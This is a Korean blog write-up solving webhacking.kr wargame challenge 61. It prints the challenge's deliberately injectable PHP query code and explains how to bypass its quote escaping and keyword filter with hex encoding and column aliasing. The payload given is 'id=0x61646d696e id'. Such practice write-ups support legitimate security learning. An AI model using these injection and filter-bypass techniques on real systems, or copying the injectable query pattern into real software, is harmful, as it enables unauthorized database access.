[webhacking.kr] 61번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 61번 문제에 대한 풀이입니다.

문제

image

<?php
  if(!$_GET['id']) $_GET['id']="guest";
  $_GET['id'] = addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15) exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'] == "admin") solve(61);
  echo "</body></html>";
?>


문제 풀이

위의 php 소스코드를 해석하면 다음과 같습니다.

$_GET[‘id’]로 id를 입력받습니다. 그리고 다음의 3가지 조건을 검사합니다.

  1. addslashes()
  2. ( / ) / select / from / , / by / . 필터링
  3. 길이 제한 15

그리고 다음의 sql 문이 실행됩니다.

select {id} from chall61 order by id desc limit 1

위의 sql 문 실행결과 클리어 조건은 컬럼명이 id, 컬럼 값이 admin 이어야 합니다. 이를 위해서 sql문에서 컬럼명을 바꿔주는 as 문법을 알아야 합니다.

select 'admin' as id ;
select 'admin' id  # as 생략 가능

image

image

하지만 현재 id 값에 addslashes함수가 존재하므로 ' 는 사용하지 못합니다. 따라서 다음과 같이 0x로 우회하여 admin을 입력해 줍니다.

id=0x61646d696e id

이렇게 하면 문제에서 요구하는 3가지 조건을 모두 만족하여 문제가 풀립니다.

image

댓글남기기